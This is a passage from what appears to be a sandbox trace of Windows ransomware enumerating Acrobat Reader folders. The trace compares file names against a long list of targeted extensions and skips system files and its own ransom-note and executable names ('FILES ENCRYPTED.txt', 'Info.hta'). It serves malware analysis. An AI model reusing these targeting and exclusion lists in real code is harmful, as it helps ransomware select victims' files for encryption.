lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dif") returned 4 [0272.810] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".divx") returned 5 [0272.810] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.810] lstrlenW (lpString=".djvu") returned 5 [0272.810] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.810] lstrlenW (lpString=".dng") returned 4 [0272.810] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".doc") returned 4 [0272.811] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".docm") returned 5 [0272.811] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.811] lstrlenW (lpString=".docx") returned 5 [0272.811] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.811] lstrlenW (lpString=".dot") returned 4 [0272.811] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".dotm") returned 5 [0272.811] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.811] lstrlenW (lpString=".dotx") returned 5 [0272.811] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.811] lstrlenW (lpString=".dpx") returned 4 [0272.811] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".dqy") returned 4 [0272.811] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".dsn") returned 4 [0272.811] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".dt") returned 3 [0272.811] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.811] lstrlenW (lpString=".dtd") returned 4 [0272.811] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".dwg") returned 4 [0272.811] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.811] lstrlenW (lpString=".dwt") returned 4 [0272.811] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".dx") returned 3 [0272.812] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.812] lstrlenW (lpString=".dxf") returned 4 [0272.812] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".edml") returned 5 [0272.812] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.812] lstrlenW (lpString=".efd") returned 4 [0272.812] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".elf") returned 4 [0272.812] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".emf") returned 4 [0272.812] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".emz") returned 4 [0272.812] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".epf") returned 4 [0272.812] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".eps") returned 4 [0272.812] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".epsf") returned 5 [0272.812] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.812] lstrlenW (lpString=".epsp") returned 5 [0272.812] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.812] lstrlenW (lpString=".erf") returned 4 [0272.812] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.812] lstrlenW (lpString=".exr") returned 4 [0272.813] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".f4v") returned 4 [0272.813] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".fido") returned 5 [0272.813] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.813] lstrlenW (lpString=".flm") returned 4 [0272.813] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".flv") returned 4 [0272.813] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".frm") returned 4 [0272.813] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".fxg") returned 4 [0272.813] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".geo") returned 4 [0272.813] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".gif") returned 4 [0272.813] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".grs") returned 4 [0272.813] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".gz") returned 3 [0272.813] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.813] lstrlenW (lpString=".h") returned 2 [0272.813] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.813] lstrlenW (lpString=".hdr") returned 4 [0272.813] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.813] lstrlenW (lpString=".hpp") returned 4 [0272.814] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.814] lstrlenW (lpString=".hta") returned 4 [0272.814] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.814] lstrlenW (lpString=".htc") returned 4 [0272.814] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.814] lstrlenW (lpString=".htm") returned 4 [0272.814] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.814] lstrlenW (lpString=".html") returned 5 [0272.814] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.814] lstrlenW (lpString=".icb") returned 4 [0272.814] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.814] lstrlenW (lpString=".ics") returned 4 [0272.814] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.868] lstrlenW (lpString=".iff") returned 4 [0272.869] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".inc") returned 4 [0272.869] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".indd") returned 5 [0272.869] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.869] lstrlenW (lpString=".ini") returned 4 [0272.869] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".iqy") returned 4 [0272.869] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".j2c") returned 4 [0272.869] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".j2k") returned 4 [0272.869] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".java") returned 5 [0272.869] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.869] lstrlenW (lpString=".jp2") returned 4 [0272.869] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".jpc") returned 4 [0272.869] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".jpe") returned 4 [0272.869] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.869] lstrlenW (lpString=".jpeg") returned 5 [0272.869] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.869] lstrlenW (lpString=".jpf") returned 4 [0272.870] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.870] lstrlenW (lpString=".jpg") returned 4 [0272.870] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.870] lstrlenW (lpString=".jpx") returned 4 [0272.870] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.870] lstrlenW (lpString=".js") returned 3 [0272.870] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.870] lstrlenW (lpString="ui-strings.js") returned 13 [0272.870] lstrlenW (lpString=".love$") returned 6 [0272.870] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.870] lstrlenW (lpString="ui-strings.js") returned 13 [0272.870] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.870] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.871] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js") returned 133 [0272.871] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.871] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0272.871] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.871] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0272.871] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp") returned 119 [0272.871] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp") returned 1 [0272.871] lstrlenW (lpString="ja-jp") returned 5 [0272.871] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ja-jp") returned -1 [0272.871] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.871] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp") returned 119 [0272.871] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0273.075] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.075] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.075] lstrlenW (lpString="ui-strings.js") returned 13 [0273.075] lstrlenW (lpString=".1cd") returned 4 [0273.075] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.075] lstrlenW (lpString=".3ds") returned 4 [0273.075] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.075] lstrlenW (lpString=".3fr") returned 4 [0273.075] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.075] lstrlenW (lpString=".3g2") returned 4 [0273.075] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.075] lstrlenW (lpString=".3gp") returned 4 [0273.076] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.076] lstrlenW (lpString=".7z") returned 3 [0273.076] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.076] lstrlenW (lpString=".accda") returned 6 [0273.076] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.076] lstrlenW (lpString=".accdb") returned 6 [0273.076] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.076] lstrlenW (lpString=".accdc") returned 6 [0273.076] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.076] lstrlenW (lpString=".accde") returned 6 [0273.076] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.076] lstrlenW (lpString=".accdt") returned 6 [0273.076] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.076] lstrlenW (lpString=".accdw") returned 6 [0273.076] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.076] lstrlenW (lpString=".adb") returned 4 [0273.076] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.076] lstrlenW (lpString=".adp") returned 4 [0273.076] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.076] lstrlenW (lpString=".ai") returned 3 [0273.077] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.077] lstrlenW (lpString=".ai3") returned 4 [0273.077] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".ai4") returned 4 [0273.077] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".ai5") returned 4 [0273.077] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".ai6") returned 4 [0273.077] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".ai7") returned 4 [0273.077] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".ai8") returned 4 [0273.077] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".anim") returned 5 [0273.077] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.077] lstrlenW (lpString=".arw") returned 4 [0273.077] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.077] lstrlenW (lpString=".as") returned 3 [0273.077] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.077] lstrlenW (lpString=".asa") returned 4 [0273.077] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.078] lstrlenW (lpString=".asc") returned 4 [0273.078] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.078] lstrlenW (lpString=".ascx") returned 5 [0273.078] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.078] lstrlenW (lpString=".asm") returned 4 [0273.092] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.092] lstrlenW (lpString=".asmx") returned 5 [0273.092] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.092] lstrlenW (lpString=".asp") returned 4 [0273.092] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.092] lstrlenW (lpString=".aspx") returned 5 [0273.092] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.092] lstrlenW (lpString=".asr") returned 4 [0273.093] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".asx") returned 4 [0273.093] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".avi") returned 4 [0273.093] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".avs") returned 4 [0273.093] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".backup") returned 7 [0273.093] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.093] lstrlenW (lpString=".bak") returned 4 [0273.093] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".bay") returned 4 [0273.093] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".bd") returned 3 [0273.093] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.093] lstrlenW (lpString=".bin") returned 4 [0273.093] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".bmp") returned 4 [0273.093] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".bz2") returned 4 [0273.093] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".c") returned 2 [0273.093] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.093] lstrlenW (lpString=".cdr") returned 4 [0273.093] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".cer") returned 4 [0273.093] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.093] lstrlenW (lpString=".cf") returned 3 [0273.093] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.093] lstrlenW (lpString=".cfc") returned 4 [0273.094] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".cfm") returned 4 [0273.094] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".cfml") returned 5 [0273.094] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.094] lstrlenW (lpString=".cfu") returned 4 [0273.094] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".chm") returned 4 [0273.094] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".cin") returned 4 [0273.094] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".class") returned 6 [0273.094] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.094] lstrlenW (lpString=".clx") returned 4 [0273.094] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".config") returned 7 [0273.094] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.094] lstrlenW (lpString=".cpp") returned 4 [0273.094] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".cr2") returned 4 [0273.094] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".crt") returned 4 [0273.094] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".crw") returned 4 [0273.094] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".cs") returned 3 [0273.094] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.094] lstrlenW (lpString=".css") returned 4 [0273.094] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.094] lstrlenW (lpString=".csv") returned 4 [0273.094] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".cub") returned 4 [0273.095] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dae") returned 4 [0273.095] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dat") returned 4 [0273.095] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".db") returned 3 [0273.095] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.095] lstrlenW (lpString=".dbf") returned 4 [0273.095] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dbx") returned 4 [0273.095] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dc3") returned 4 [0273.095] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dcm") returned 4 [0273.095] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dcr") returned 4 [0273.095] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".der") returned 4 [0273.095] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dib") returned 4 [0273.095] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dic") returned 4 [0273.095] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".dif") returned 4 [0273.095] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.095] lstrlenW (lpString=".divx") returned 5 [0273.095] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.095] lstrlenW (lpString=".djvu") returned 5 [0273.096] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.096] lstrlenW (lpString=".dng") returned 4 [0273.096] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".doc") returned 4 [0273.096] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".docm") returned 5 [0273.096] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.096] lstrlenW (lpString=".docx") returned 5 [0273.096] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.096] lstrlenW (lpString=".dot") returned 4 [0273.096] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dotm") returned 5 [0273.096] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.096] lstrlenW (lpString=".dotx") returned 5 [0273.096] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.096] lstrlenW (lpString=".dpx") returned 4 [0273.096] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dqy") returned 4 [0273.096] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dsn") returned 4 [0273.096] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dt") returned 3 [0273.096] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.096] lstrlenW (lpString=".dtd") returned 4 [0273.096] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dwg") returned 4 [0273.096] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dwt") returned 4 [0273.096] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.096] lstrlenW (lpString=".dx") returned 3 [0273.096] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.097] lstrlenW (lpString=".dxf") returned 4 [0273.097] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.097] lstrlenW (lpString=".edml") returned 5 [0273.097] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.097] lstrlenW (lpString=".efd") returned 4 [0273.097] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.097] lstrlenW (lpString=".elf") returned 4 [0273.097] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.097] lstrlenW (lpString=".emf") returned 4 [0273.097] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.097] lstrlenW (lpString=".emz") returned 4 [0273.097] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.097] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.097] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0273.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.098] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0273.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.098] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr") returned 119 [0273.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0273.098] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, 